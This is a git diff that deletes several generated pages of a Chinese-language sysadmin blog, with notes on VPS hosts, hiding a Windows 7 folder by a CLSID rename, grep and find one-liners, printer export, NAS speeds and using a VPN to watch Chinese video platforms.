1;HK2APC01FT052;1:ew53ZhRD979FZT1RtwHWaJXr6nX94/pSosUc5YYzEK4/2RDIfQ7vO01nm75BpbWWlbXDkn4y237jrnDXGZEtF2iGl3Tuw2RZWIM0W71t+8MJRDMwqVgoxfI3h5ER546fw+T97frvoCKtyJJmncj0U3r6Sk7Kgl2IU6hSMsrbdDcA8gFiHXDXKCyA+U7E2njAZCdc/9Yza3TSYeNSOACpHnam2CW7naXU6lHdXb2dfxkOWTwBAvGGSg2IeMZAJjOCNAH1jUN6jzp0RAceAUw1Bc19PZtHFgOleZPhDDNqf1mWQM6U17+TShIWR4ynIwPWsZ6fXitCyO7/VAu/vlweuvo2iHcB6u3EDzcKEXWKrT7sHWhcRpa8yJ6tZRNvMV0+4j1wTuDk2SIMQynqMz1l3wF0bx1eYqhADVFg9MtLALCGkg6OkijfbfLfhxybIEPVyGJBNz0siW45d4q19JfcaPMFGVeWTrtJOjjS8vFJ6JCGK2r+HMaHOEYLbZpXQvEmF8VkA4JPtABBdAl0dOxM3rGvCSpExF7qfYfbb/vaRPk= -> -> X-MS-Office365-Filtering-Correlation-Id: 9edc853e-86cc-4b50-2a64-08d423e2f07d -> -> X-DkimResult-Test: Passed -> -> X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001)(81800161)(8251501002)(3001016)(71701004)(71702072);SRVR:HK2PR01MB0785; -> -> …………………… -> -> -> ………………………. -> -> -> 底下省略數十行… -到這邊,在mail header加入tag的工作就完成了,剩下就要看那個NOPAM的稽核機制,能不能達成我要的功能了。

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-80-bc-e5-be-97-e6-8e-a8-e8-96-a6-e7-9a-84-e5-84-aa-e8-b3-aavps-e5-bb-a0-e5-95-86-hos-virtual-httpwww-vr-org/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-80-bc-e5-be-97-e6-8e-a8-e8-96-a6-e7-9a-84-e5-84-aa-e8-b3-aavps-e5-bb-a0-e5-95-86-hos-virtual-httpwww-vr-org/index.html deleted file mode 100644 index 76624e1d..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-80-bc-e5-be-97-e6-8e-a8-e8-96-a6-e7-9a-84-e5-84-aa-e8-b3-aavps-e5-bb-a0-e5-95-86-hos-virtual-httpwww-vr-org/index.html +++ /dev/null @@ -1,499 +0,0 @@ - - - - - - - - - - [筆記]值得推薦的優質VPS 廠商 -Hos Virtual - http://www.vr.org | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]值得推薦的優質VPS 廠商 -Hos Virtual - http://www.vr.org

    -
    - - - 2013-10-11 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天想說測試一下明年度有沒有可能把大陸的MAIL SERVER都移去雲端空間,透過NOPAM做過濾和備份。

    - -

    因為NOPAM是基於freebsd安裝,所以找了幾家支援freebsd的VPS廠商。

    - -

    要不就是太貴,要不就是機房都在美國、歐洲,幾乎沒有幾家亞洲的廠商有做freebsd的。

    - -

    即使公司在用的400apps也沒有,不然400apps真的是商用第一選擇!

    - -

    - -

    最後終於找到這家 Host Virtual

    - -

    價格很優惠,10 美金起跳 - - - - - - - - - - - -
    VRp5512MB10GB200GB100 Mbps$10
    -20美金 - - - - - - - - - - - -
    VR1G1024MB20GB2000GB100 Mbps$20
    -40美金 <–我這次測試的規格 - - - - - - - - - - - -
    VR2G2048MB40GB4000GB100 Mbps$40
    -除了硬碟空間之外,其他是很夠用了。

    - -

    當然,價格雖然是考慮因素之一,但是這家廠商採用全虛擬技術,所以可以直接用Freebsd,或者是自己的ISO檔案。

    - -

    如果要安裝自己的ISO,在訂購後,發ticket給技術支援,上班時間內很快就會回覆。

    - -

    只要提供連結和簡單的ISO敘述,技術人員就會協助把ISO mount到VPS的光碟去,接著修改選項,從光碟優先開機,就可以開始安裝了。

    - -

    不過,速度、價格、功能什麼的都不是我這次要說的重點,重點是在上班時間內,他們客服的回覆速度實在有夠快的!

    - -

    不囉唆,直接看信件回覆的速度!

    - -

    從底族片可以看到,每封信件來回大概都不超過10分鐘,很多都還是我回信之後,我人就跑掉了,所以往返時間拉得比較長。

    - -

    而且處理的內容也很到位,不像有的VPS,發ticket出去根本不太鳥你..

    - -

    hostvirtual-01

    - -

     

    - -

    除了一開始因為要改用全虛擬的關係,在vnc遠端遙控上有出了一些問題,幾過幾次跟客服人員的溝通,最後也順利解決!

    - -

    其他的到現在用起來還滿順的,ping hinet dns 速度大概在2x ms左右,比我家裡的ADSL還快 0rz .. -> mx# ping 168.95.1.1 -> -> PING 168.95.1.1 (168.95.1.1): 56 data bytes -> -> 64 bytes from 168.95.1.1: icmp_seq=0 ttl=246 time=24.378 ms -> -> 64 bytes from 168.95.1.1: icmp_seq=1 ttl=246 time=26.157 ms -> -> 64 bytes from 168.95.1.1: icmp_seq=2 ttl=246 time=24.336 ms -> -> 64 bytes from 168.95.1.1: icmp_seq=3 ttl=246 time=24.582 ms -> -> ^C -> -> — 168.95.1.1 ping statistics — -> -> 4 packets transmitted, 4 packets received, 0.0% packet loss -> -> round-trip min/avg/max/stddev = 24.33624.86326.1570.753 ms -> -> mx# - 

    - -

    希望能跟這家維持長久合作關係,等禮拜一上班,再跟NOPAM的工程師討論一下,看能不能在這台弄個測試的版本出來玩玩看!

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-80-bc-e5-be-97-e6-8e-a8-e8-96-a6-e7-9a-84-e5-95-86-e6-a5-ad-e7-94-a8-e9-80-94vps-e4-be-9b-e6-87-89-e5-95-86/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-80-bc-e5-be-97-e6-8e-a8-e8-96-a6-e7-9a-84-e5-95-86-e6-a5-ad-e7-94-a8-e9-80-94vps-e4-be-9b-e6-87-89-e5-95-86/index.html deleted file mode 100644 index b762cc6d..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-80-bc-e5-be-97-e6-8e-a8-e8-96-a6-e7-9a-84-e5-95-86-e6-a5-ad-e7-94-a8-e9-80-94vps-e4-be-9b-e6-87-89-e5-95-86/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [筆記]值得推薦的商業用途VPS供應商 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]值得推薦的商業用途VPS供應商

    -
    - - - 2013-10-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

     

    - -

    https://www.vr.org/

    - -

    今天發現的一家供應商,有香港機房,連線速度很不錯!

    - -

    價格也還可以接受,重點是,可以上傳自己的ISO檔案!

    - -

    我想在這台測試NOPAM,開了TICKET詢問之後,SUPPORT就很阿殺力的要我提供ISO下載連結,然後說抓完會幫我MOUNT進去,好了會再回信。

    - -

    而且TICKET的來回大概都在十分鐘以內就回覆,真的是效率超高的!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-81-bd-e8-a3-9d-e5-8a-a0-e5-af-86-win7-e5-ba-95-e4-b8-8b-e7-9a-84-e7-9b-ae-e9-8c-84/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-81-bd-e8-a3-9d-e5-8a-a0-e5-af-86-win7-e5-ba-95-e4-b8-8b-e7-9a-84-e7-9b-ae-e9-8c-84/index.html deleted file mode 100644 index 9474167f..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-81-bd-e8-a3-9d-e5-8a-a0-e5-af-86-win7-e5-ba-95-e4-b8-8b-e7-9a-84-e7-9b-ae-e9-8c-84/index.html +++ /dev/null @@ -1,622 +0,0 @@ - - - - - - - - - - [筆記] 偽裝/加密 Win7底下的目錄 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    假設要偽裝的目錄為 d:\test

    - -

    寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat)

    - -

     

    - -

    encrypt.bat 的內容 -> d: -> -> -> ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” -> -> -> exit -decrypt.bat -> d: -> -> -> ren  ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” -> -> -> exit - 

    - -

    執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去

    - -

    測試畫面如下

    - -

    在命令列模式下,用 dir 看看 d:\test的東西 確認還在

    - -

    fake-folder-01

    - -

     

    - -

    ren 之後,再去dir一次,發現沒有東西…

    - -

    fake-folder-02

    - -

     

    - -

    用檔案總管看到的畫面,test 目錄不見了

    - -

    fake-folder-03

    - -

     

    - -

    點進去這個目錄看到的是印表機的畫面

    - -

    fake-folder-02-1

    - -

     

    - -

    接下來,再把目錄改回來,然後 dir 看看,東西果然還在

    - -

    fake-folder-02

    - -

     

    - -

    檔案總管內也可以正常看到了

    - -

    fake-folder-04

    - -

     

    - -

     

    - -

    本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了!

    - -

    不過碰到稍微有常識的人,只要把附檔名改掉就可以了。

    - -

    但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!?

    - -

     

    - -

    另一種可以看到目錄但是進不去的方法

    - -

    一樣是編輯兩個批次檔,一個加密一個解密

    - -

    encrypt.bat -> attrib +r d:\test -> -> -> exit -decrypt.bat -> attrib -r d:\test -> -> -> exit -這樣的做法,會看得到 d:\test 這個目錄,但是無法進入,不過如果不用檔案總管,而是用命令列模式進去的話,還是可以進去這個目錄的。

    - -

     

    - -

    至於那個看起來亂七八糟的附檔名,其實是windows的CLSID <—我也不曉得這是啥意思

    - -

    網路上找到Win7的CLSID如下 ,我測試的結果是很多不能用啦,可以用的我有上色

    - -

    CLSID List (Windows Class Identifiers)

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CLSIDMeaning/LocationSupported by [Run](http://www.autohotkey.com/docs/commands/Run.htm)?
    ::{d20ea4e1-3957-11d2-a40b-0c5020524153}Administrative Tools
    ::{85bbd92o-42a0-1o69-a2e4-08002b30309d}Briefcase
    ::{21ec2o2o-3aea-1o69-a2dd-08002b30309d}Control Panel
    ::{d20ea4e1-3957-11d2-a40b-0c5020524152}Fonts
    ::{ff393560-c2a7-11cf-bff4-444553540000}History
    ::{00020d75-0000-0000-c000-000000000046}Inbox
    ::{00028b00-0000-0000-c000-000000000046}Microsoft Network
    ::{20d04fe0-3aea-1069-a2d8-08002b30309d}My ComputerYes
    ::{450d8fba-ad25-11d0-98a8-0800361b1103}My DocumentsYes
    ::{208d2c60-3aea-1069-a2d7-08002b30309d}My Network PlacesYes
    ::{1f4de370-d627-11d1-ba4f-00a0c91eedba}Network ComputersYes
    ::{7007acc7-3202-11d1-aad2-00805fc1270e}Network ConnectionsYes
    ::{2227a280-3aea-1069-a2de-08002b30309d}Printers and FaxesYes
    ::{7be9d83c-a729-4d97-b5a7-1b7313c39e0a}Programs Folder
    ::{645ff040-5081-101b-9f08-00aa002f954e}Recycle BinYes
    ::{e211b736-43fd-11d1-9efb-0000f8757fcd}Scanners and Cameras
    ::{d6277990-4c6a-11cf-8d87-00aa0060f5bf}Scheduled TasksYes
    ::{48e7caab-b918-4e58-a94d-505519c795dc}Start Menu Folder
    ::{7bd29e00-76c1-11cf-9dd0-00a0c9034933}Temporary Internet Files
    ::{bdeadf00-c265-11d0-bced-00a0c90ab50f}Web Folders
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-81-bd-e8-a3-9d-e6-88-90-apple-e4-be-86-e7-9a-84-e8-a9-90-e9-a8-99-e4-bf-a1-e4-bb-b6/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-81-bd-e8-a3-9d-e6-88-90-apple-e4-be-86-e7-9a-84-e8-a9-90-e9-a8-99-e4-bf-a1-e4-bb-b6/index.html deleted file mode 100644 index 1ace1916..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-81-bd-e8-a3-9d-e6-88-90-apple-e4-be-86-e7-9a-84-e8-a9-90-e9-a8-99-e4-bf-a1-e4-bb-b6/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [筆記] 偽裝成 APPLE 來的詐騙信件 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-85-b6-e5-af-a6-windows-nas-performance-e4-b8-8d-e9-8c-af-e5-95-8a-ef-bc-81/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-85-b6-e5-af-a6-windows-nas-performance-e4-b8-8d-e9-8c-af-e5-95-8a-ef-bc-81/index.html deleted file mode 100644 index d9e0a506..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-85-b6-e5-af-a6-windows-nas-performance-e4-b8-8d-e9-8c-af-e5-95-8a-ef-bc-81/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - [筆記]其實 Windows NAS Performance 不錯啊! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]其實 Windows NAS Performance 不錯啊!

    -
    - - - 2015-03-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天要放個大檔案到SERVER上給人家

    - -

    對方要求說放到NAS上,一個 8G左右的檔案,結果複製過去時候的速度有嚇到我..

    - -

    這台Windows NAS 是用 ESX做出來的一台虛擬機

    - -

    儲存空間則是透過 iscsi 連到 DELL的MD3200 (1G 而已)

    - -

    結果Windows 跑出來的數據居然高達 1xx MB …

    - -

    這比以前我在測試 1G網路的速度時,跑出來的結果要快太多了,以前頂多來到 7x 8x …

    - -

    也太威猛了吧!

    - -

    2015-03-16_10-25-41

    - -

     

    - -

    不信邪 再丟一次!

    - -

    還是有 100MB 左右的水準

    - -

    2015-03-16_10-45-02

    - -

    下載檔案的速度要慢很多,只有 接近 50MB ..

    - -

    2015-03-16_10-46-34

    - -

     

    - -

    也許這才是真正該有的水準,只是我被群暉的NAS荼毒太久了?所以看到標準的數據才會很訝異?

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-88-a9-e7-94-a8findgrepxargs-e5-9c-a8-e7-9b-ae-e9-8c-84-e4-b8-ad-e6-89-be-e5-87-ba-e6-89-80-e6-9c-89-e5-8c-85-e5-90-ab-e7-89-b9-e5-ae-9a-e5-ad-97-e4-b8-b2-e7-9a-84-e6-aa-94/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-88-a9-e7-94-a8findgrepxargs-e5-9c-a8-e7-9b-ae-e9-8c-84-e4-b8-ad-e6-89-be-e5-87-ba-e6-89-80-e6-9c-89-e5-8c-85-e5-90-ab-e7-89-b9-e5-ae-9a-e5-ad-97-e4-b8-b2-e7-9a-84-e6-aa-94/index.html deleted file mode 100644 index c8dd7d23..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-88-a9-e7-94-a8findgrepxargs-e5-9c-a8-e7-9b-ae-e9-8c-84-e4-b8-ad-e6-89-be-e5-87-ba-e6-89-80-e6-9c-89-e5-8c-85-e5-90-ab-e7-89-b9-e5-ae-9a-e5-ad-97-e4-b8-b2-e7-9a-84-e6-aa-94/index.html +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - [筆記] 利用find/grep/xargs 在目錄中找出所有包含特定字串的檔案路徑 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 利用find/grep/xargs 在目錄中找出所有包含特定字串的檔案路徑

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    很好用的指令 Big Smile

    - -

    在當前目錄底下(包含子目錄)尋找所有附檔名為php的檔案,並在這些檔案中,尋找包含 abc.def 字串的檔案並列出結果

    - -

      -> find .. -name “.php”|xargs grep -n abc.def -使用結果 -> [root@vm00015-1 models]# find .. -name “.php”|xargs grep -n abc.def -> -> ../views/welcome.php:252: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> -> -> ../views/welcome.php:260: <span><a href=“http://abc.def.com" target=”_blank”></a></span> -> -> ../views/welcome.php:263: <span><a href=“http://abc.def.com" target=”_blank”></a></span> -> -> ../views/mobile.php:127: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> -> -> ../views/mobile.php:130: <span><a href=“http://abc.def.com" target=”_blank”></a></span> -> -> ../views/mobile.php:133: <span><a href=“http://abc.def.com" target=”_blank”></a></span> -> -> ../views/template.php:165: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> -> -> ../views/template.php:168: <span><a href=“http://abc.def.com" target=”_blank”></a></span> -> -> ../views/template.php:171: <span><a href=“http://abc.def.com" target=”_blank”></a></span> -> -> ../views/admin/panel.php:81: <a href = “http://abc.def.com" target=”_blank”> -> -> ../views/admin/login.php:81: <a href = “http://abc.def.com" target=”_blank”> -> -> ../views/contact/locations.php:74: icon: “http://abc.def.com/img/flag.png" -> -> [root@vm00015-1 models]# -> -> ->  

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-8c-af-e5-87-ba-e5-8d-b0-e8-a1-a8-e6-a9-9f-e8-a8-ad-e5-ae-9a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-8c-af-e5-87-ba-e5-8d-b0-e8-a1-a8-e6-a9-9f-e8-a8-ad-e5-ae-9a/index.html deleted file mode 100644 index d1805c37..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-8c-af-e5-87-ba-e5-8d-b0-e8-a1-a8-e6-a9-9f-e8-a8-ad-e5-ae-9a/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [筆記]匯出印表機設定 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]匯出印表機設定

    -
    - - - 2015-09-21 - - - - - - - - - 未分類 - - - - - -
    - - -

    run as administrator

    - -

    PrintBrm.exe -B -F D:\Printer

    - -

    run with GUI

    - -

    PrintBRMUi

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-e5-8f-b0-e7-81-a3-e9-80-8f-e9-81-8e-e5-9c-8b-e5-a4-96-e7-9a-84vpn-e6-9c-8d-e5-8b-99-e7-bf-bb-e7-89-86-e9-80-b2-e4-b8-ad-e5-9c-8b-e7-9c-8b-e5-bd-b1-e9-9f-b3-e5-b9-b3/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-e5-8f-b0-e7-81-a3-e9-80-8f-e9-81-8e-e5-9c-8b-e5-a4-96-e7-9a-84vpn-e6-9c-8d-e5-8b-99-e7-bf-bb-e7-89-86-e9-80-b2-e4-b8-ad-e5-9c-8b-e7-9c-8b-e5-bd-b1-e9-9f-b3-e5-b9-b3/index.html deleted file mode 100644 index b8699e66..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-e5-8f-b0-e7-81-a3-e9-80-8f-e9-81-8e-e5-9c-8b-e5-a4-96-e7-9a-84vpn-e6-9c-8d-e5-8b-99-e7-bf-bb-e7-89-86-e9-80-b2-e4-b8-ad-e5-9c-8b-e7-9c-8b-e5-bd-b1-e9-9f-b3-e5-b9-b3/index.html +++ /dev/null @@ -1,483 +0,0 @@ - - - - - - - - - - [筆記] 在台灣透過國外的 ivacy VPN服務 翻牆進中國看影音平台提供的影劇 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在台灣透過國外的 ivacy VPN服務 翻牆進中國看影音平台提供的影劇

    -
    - - - 2016-03-31 - - - - - - - - - 其他 - - - - - -
    - - - - -

    在台灣透過國外的VPN服務 翻牆進中國看影音平台提供的影劇

    - -

    原本使用某ISP業者的特殊線路(Internet PLUS) -這種線路會配發兩個IP,一個是台灣的IP,一個是大陸的IP -只要有支援的設備,就可以用台灣的IP來搭VPN SERVER,然後指定由大陸的IP上網 -這樣子就完全不會被大陸的影音平台給封鎖了!

    - -

    不過呢,好景不常….這條線路是附掛在其他產品底下的,主產品最近要退租了, -這個服務當然也就無法繼續使用。 -可是家人又已經很依賴這些大陸的影音平台追劇了,所以只好想辦法找其他方法來解決被封鎖的問題。 -一般的解法,一個是proxy ,一個是 VPN -Proxy 比較麻煩一些,因為要動到電視盒的網路設定 -VPN 相對簡單一些,我可以用分享器去建立VPN ,電視盒再透過這台分享器上網就可以了!

    - -

    因為本身工作的關係,所以我接觸了很多VPS服務,一開始也是打算用VPS來建立VPN服務 -我找的是 starrydns 這家,算是比較有口碑的 -他的VPS服務有一種類型是中國優化線路,根據廠商的回覆是不會被影音平台封鎖 -一個月 HK 76 ,換算台幣約三百多 -我測了大概一個禮拜左右,這家廠商的這個服務真的沒話說,速度快、穩定、客服反應速度也很快 -但是算了一下,一個月三百多耶..有點貴。而且流量限定200G,感覺少了點.. -於是我先退租了這個服務,繼續找其他中國或香港直連的VPS -看了很久很久,發現中國的VPS都有一個很詭異的問題 -在上面搭的VPN,不曉得哪時候會不能用….這應該是官方的政策吧 -對於這種服務看管得很死,雖然廠商都會告訴你自己私人用OK -但是我也真的碰過跑了兩三天之後,服務就再也連不上的情況..(阿里雲、騰迅雲..) -最後,我終於放棄用中國的VPS了…

    - -

    既然用自己的VPS來搭VPN這條路行不通 -於是我改找廠商提供的 VPN服務 -條件就是要有中國的伺服器,然後價格要盡量低…(目標是 5 USD/月) -用 top 510 vpn provider 去google 搜尋 -測試過程就不提了,反正前幾名的這幾間都被我打槍  … -某次在網路上閒晃的時候,意外發現了這間

    - -

    ivacy vpn

    - -

    首先吸引我注意的當然是價格 -ivacy price list -年付只要1.83 USD/month , 而且七天退款保證 ,就是說有七天試用啦! 國外的廠商幾乎都會提供三天五天七天不等的試用(退款保證) -既然如此,那還等啥,趕快申請了啊!

    - -

    等到帳號開通之後,馬上先用手機連線測試 -在官網上可以下載官方的設定檔,會自動在iphone上建立vpn -ivacy auto create vpn tunnel in iphone

    - -

    但是呢

    - -

    千萬不要用!

    - -

    ** 千萬不要用!** -** 千萬不要用!**

    - -

    這個由官方程式建立的vpn tunnel 會自動尋找「連線品質最佳」的伺服器去連線,然後呢,通常都不會是中國伺服器 XD -所以要手動建立VPN,指定用中國的Server -manual create ivacy vpn tunnel

    - -

     

    - -

    …待續

    - -
    - -

    在手機上建立了VPN連線,馬上連線並開啟封鎖最嚴格的樂視APP,找個影片來測試看看!

    - -

    解析度選高清,非常的順暢啊!!!!

    - -

    ivacy china2 server

    - -

     

    - -

    watch video in letv app

    - -

     

    - -

    而且這間的客服算是不錯的,雖然我都是用破破的英文跟他們講一些問題,但是他們在上班時間內都會盡快的回覆!

    - -

    測試了這幾天,就算是晚上看影片也都很順暢。不像另一家也很多人推薦的NQVPN

    - -

    一到了晚上,有些影片就會開始卡…

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-e6-8c-87-e5-ae-9a-e7-9b-ae-e9-8c-84-e5-ba-95-e4-b8-8b-e6-89-be-e5-87-ba-e5-90-ab-e6-9c-89-e7-89-b9-e5-ae-9a-e5-ad-97-e4-b8-b2-e7-9a-84-e6-aa-94-e6-a1-88-e5-8f-8a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-e6-8c-87-e5-ae-9a-e7-9b-ae-e9-8c-84-e5-ba-95-e4-b8-8b-e6-89-be-e5-87-ba-e5-90-ab-e6-9c-89-e7-89-b9-e5-ae-9a-e5-ad-97-e4-b8-b2-e7-9a-84-e6-aa-94-e6-a1-88-e5-8f-8a/index.html deleted file mode 100644 index b23c17db..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-e6-8c-87-e5-ae-9a-e7-9b-ae-e9-8c-84-e5-ba-95-e4-b8-8b-e6-89-be-e5-87-ba-e5-90-ab-e6-9c-89-e7-89-b9-e5-ae-9a-e5-ad-97-e4-b8-b2-e7-9a-84-e6-aa-94-e6-a1-88-e5-8f-8a/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [筆記] 在指定目錄底下找出含有特定字串的檔案及字串出現位置 how to find string in all files | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在指定目錄底下找出含有特定字串的檔案及字串出現位置 how to find string in all files

    -
    - - - 2015-07-29 - - - - - - - - - 工作筆記 - - - - - -
    - - -
    <span class="pln">grep </span><span class="pun">-</span><span class="pln">rnw </span><span class="str">'directory'</span> <span class="pun">-</span><span class="pln">e </span><span class="str">"pattern"
    -一行解決
    -[![2015-07-29_15-24-50](http://wp.cowbay.org/wp-content/uploads/2015/07/2015-07-29_15-24-50-1024x246.png)](http://wp.cowbay.org/wp-content/uploads/2015/07/2015-07-29_15-24-50.png)
    -</span>
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-linux-e5-ba-95-e4-b8-8b-e5-bf-ab-e9-80-9f-e6-8a-b9-e5-af-ab-e7-a3-81-e7-a2-9f-e5-89-a9-e9-a4-98-e7-a9-ba-e9-96-93/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-linux-e5-ba-95-e4-b8-8b-e5-bf-ab-e9-80-9f-e6-8a-b9-e5-af-ab-e7-a3-81-e7-a2-9f-e5-89-a9-e9-a4-98-e7-a9-ba-e9-96-93/index.html deleted file mode 100644 index 835c847c..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8-linux-e5-ba-95-e4-b8-8b-e5-bf-ab-e9-80-9f-e6-8a-b9-e5-af-ab-e7-a3-81-e7-a2-9f-e5-89-a9-e9-a4-98-e7-a9-ba-e9-96-93/index.html +++ /dev/null @@ -1,509 +0,0 @@ - - - - - - - - - - [筆記] 在 Linux 底下快速抹寫磁碟剩餘空間 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在 Linux 底下快速抹寫磁碟剩餘空間

    -
    - - - 2015-11-25 - - - - - - - - - 未分類 - - - - - -
    - - -

